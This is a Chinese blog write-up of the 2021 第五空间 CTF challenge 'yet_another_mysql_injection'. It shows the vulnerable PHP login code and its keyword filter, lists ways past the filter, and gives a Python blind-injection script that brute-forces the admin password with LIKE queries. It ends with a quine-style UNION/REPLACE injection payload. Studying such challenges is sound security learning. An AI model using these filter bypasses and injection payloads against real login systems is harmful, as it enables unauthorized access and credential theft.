首页 > 数据库 >[第五空间 2021]yet_another_mysql_injection

[第五空间 2021]yet_another_mysql_injection

时间:2023-03-10 20:44:06浏览次数:61  
标签:__ replace char flag 2021 another mysql yet

[第五空间 2021]yet_another_mysql_injection

F12查看源代码发现 ?source提示,

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

法一

checkSql()函数分析

sleep 可以用benchmark代替
<,> 可以用least(),greatest()代替
=,in 可以用like代替
substr 可以用mid代替
空格 可以用/**/代替

通过代码可以发现其实FLAG并不在数据库中,可以通过LIKE尝试爆破密码

脚本编写能力比较差,跟着WP写的

import requests
import time

char = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/*-+?~#!@&%'


def password():
    flag = ''
    url = 'http://1.14.71.254:28632/index.php'
    while True:
        for i in char:
            payload = {"username": "admin", "password": f"1'or/**/password/**/like/**/'{flag + i}%'#"}
            res = requests.post(url=url, data=payload)
            time.sleep(0.1)
            if "something wrong" not in res.text:
                flag += i
                print(flag)
                break
            if "NSSCTF" in res.text:
                break
            elif "~" in i:
                return




if __name__ == '__main__':
    password()

法二

在看WP时候发现了一种新玩法,因为最后比较结果一样就可以Bypass

参考的是这位大佬的博客,核心思想就是通过REPLACE替换套娃,让输入和输出结果一样,也就是构造

Quine程序

CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入) - zhengna - 博客园 (cnblogs.com)

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

标签:__,replace,char,flag,2021,another,mysql,yet
From: https://www.cnblogs.com/0xo0Kerk/p/17204615.html

相关文章

  • mysql锁总结
    概述:锁是在并发访问时,解决数据的有效性、一致性问题,有全局锁、表级锁、行级锁,锁粒度越小越好。全局锁:是对整个数据库实例加锁,一旦对整个数据库实例加了锁,那么就意味着这个......
  • MySQL相关知识点整理
    1、关系型数据库与非关系型数据的区别?分类关系型数据库非关系型数据库概念关系型数据库(SQL)是由二维表及其之间的联系所组成的一个数据组织,最典型的数据结构是表,......
  • 使用PostgreSQL而不是MySQL存储中型数据有什么好处?
    我可以明确地回答.我们之所以选择Postgres,是因为它在操作上比MySQL更可靠,而当时公司的创始人相信SQL数据库的可移植性.随着年份的发展,我们发现了这一点,我们发现基本上,Post......
  • LVS+keepalived+nginx+redis+mysql集群负载
    背景:梳理知识体系,关于架构,有做过一个项目,是关于双机热备高可用的方案。两台机器相对独立,两套一模一样且独立运行的系统,客户要求实现高可用。经过和架构部的商讨,通过lvs+ke......
  • K8s之MySQL实现数据持久化
    转载自:https://blog.51cto.com/u_14154700/2450932=============== 这个是一个只写配置及验证的博文。。。。。。博文大纲:1、搭建nfs存储2、创建PV3、创建PVC4、......
  • mysql 查看无主键的表
    --mysql查看无主键的表SELECT*FROMinformation_schema.`TABLES`tLEFTJOINinformation_schema.STATISTICSsONt.TABLE_SCHEMA=s.TABLE_SCHEMAANDt.t......
  • ubuntu下mysql8安装
    一、下载MySQLATPRepository网址:https://dev.mysql.com/downloads/repo/apt/dpkg-IXXX.deb二、更新sudoaptupdatesudoaptupgrade三、安装sudoaptinstal......
  • [vp记录] 2021 Summer Petrozavodsk Camp, Day 3: IQ test (XXII Open Cup, Grand Pri
    2021SummerPetrozavodskCamp,Day3:IQtest(XXIIOpenCup,GrandPrixofIMO)A(性质,转化)发现如果存在\(b\)中存在\(0\),那么直接构造\(b_1,0,b_2,0,\dots......
  • 6.prometheus监控mysql多实例
    一、背景介绍公司采用prometheus作为监控平台,经过资料查找,mysqld_exporter和mysql是[1:1],既每个mysql实例都需要起一个exporter进程来采集mysql监控数据,不过最近看github......
  • MySQL之根据经纬度计算距离
     可以在MySQL层面使用自定义计算函数来使用CREATEDEFINER=`xxx`@`%`FUNCTION`get_distance`(lat1float,lon1float,lat2float,lon2float)RETURNSfloatSQ......